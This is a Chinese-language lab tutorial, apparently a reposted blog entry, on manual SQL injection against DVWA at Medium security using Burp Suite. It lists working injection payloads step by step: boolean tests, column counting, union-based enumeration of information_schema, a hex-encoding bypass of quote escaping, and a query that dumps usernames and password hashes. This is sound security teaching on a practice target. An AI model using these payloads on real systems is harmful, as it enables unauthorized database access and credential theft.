zoukankan      html  css  js  c++  java
  • DVWA实验--SQL手工注入(Medium)

    一、前期准备

    我们将dvwa的安全级别设置为medium,

    image

    然后可以看到

    已经对sql语句有所限制了

    image

    查看源代码,

    可以看到,Medium级别的代码利用mysql_real_escape_string函数对特殊符号

    x00, , ,\,’,”,x1a进行转义,同时前端页面设置了下拉选择表单,希望以此来控制用户的输入。

    image

    这个时候虽然不能像之前一样直接通过页面提交注入语句,但是我们仍然可以通过抓捕改参数来提交恶意构造的查询参数。

    二、配置工具

    浏览器启用代理,然后打开抓包工具Burp Suite

    image

    image

    三、开始工作

    1. 判断是否存在注入,注入是字符型还是数字型

    抓包更改参数id为1′ or 1=1 #

    报错

    image

    改参数为1 or 1=1#

    image

    查询成功:

    image

    说明存在数字型注入

    2. 猜解SQL查询语句中的字段数

    抓包改参数id为1 order by 2 #,

    image

    查询成功:

    image

    抓包更改参数id为1 order by 3 #

    image

    报错

    image

    说明执行的SQL查询语句中只有两个字段

    3. 确定显示的字段顺序

    抓包更改参数id为1 union select 1,2 #,

    image

    说明执行的SQL语句为select First name,Surname from 表 where ID=id…

    4. 获得数据库名称以及版本

    抓包更改参数id为1 union select version(),database() #,

    image

    image

    5. 获得数据库中所有表

    抓包改参数id为

    1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #

    image

    查询成功

    image

    说明数据库dvwa中一共有两个表,guestbook与users。

    6. 获取表中的字段名

    本来应该抓包更改参数id为1 union select 1,group_concat(column_name) from information_schema.columns where table_name='users ' #

    但是源码中单引号被转义了,变成了’,可以利用16进制绕过

    1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 #

    image

    查询成功:

    image

    说明users表中有8个字段,分别是user_id,first_name,last_name,user,password,avatar,last_login,failed_login

    7. 获取密码字段的数据

    抓包修改参数id为1 union select user,password from users#

    image

    查询成功

    image

  • 相关阅读:
    SQL语句 分页实现
    PHPexcel入门教程
    json_decode返回null,使用echo json_last_error(); 返回4
    配置mysql可局域网内访问
    thinkphp5.0安装composer安装topthink/think-captcha
    linux下mysql忘记密码怎么办
    centos7 设置mysql账号密码开放3306端口实现远程登陆
    高级数据结构第七章A . 数列(树状数组逆序对)
    高级数据结构第六章E . 苹果树 (dfs+树状数组)
    高级数据结构第六章C . 奶牛狂欢节(两个树状数组)
  • 原文地址:https://www.cnblogs.com/arisskz6/p/12192400.html
Copyright © 2011-2022 走看看